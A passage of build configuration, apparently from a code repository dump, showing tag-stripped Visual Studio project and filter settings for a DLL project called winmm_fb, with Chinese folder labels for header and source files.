| MaxSpeed 113 | true 114 | true 115 | WIN32;NDEBUG;_WINDOWS;_USRDLL;WINMM_FB_EXPORTS;%(PreprocessorDefinitions) 116 | 117 | 118 | Windows 119 | true 120 | true 121 | true 122 | 123 | 124 | 125 | 126 | Level3 127 | Use 128 | MaxSpeed 129 | true 130 | true 131 | NDEBUG;_WINDOWS;_USRDLL;WINMM_FB_EXPORTS;%(PreprocessorDefinitions) 132 | 133 | 134 | Windows 135 | true 136 | true 137 | true 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | false 150 | 151 | 152 | false 153 | 154 | 155 | false 156 | 157 | 158 | false 159 | 160 | 161 | 162 | 163 | Create 164 | Create 165 | Create 166 | Create 167 | 168 | 169 | 170 | 171 | 172 | 173 | -------------------------------------------------------------------------------- /winmm_fb/winmm_fb.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 头文件 23 | 24 | 25 | 头文件 26 | 27 | 28 | 29 | 30 | 源文件 31 | 32 | 33 | 源文件 34 | 35 | 36 | 源文件 37 | 38 | 39 | --------------------------------------------------------------------------------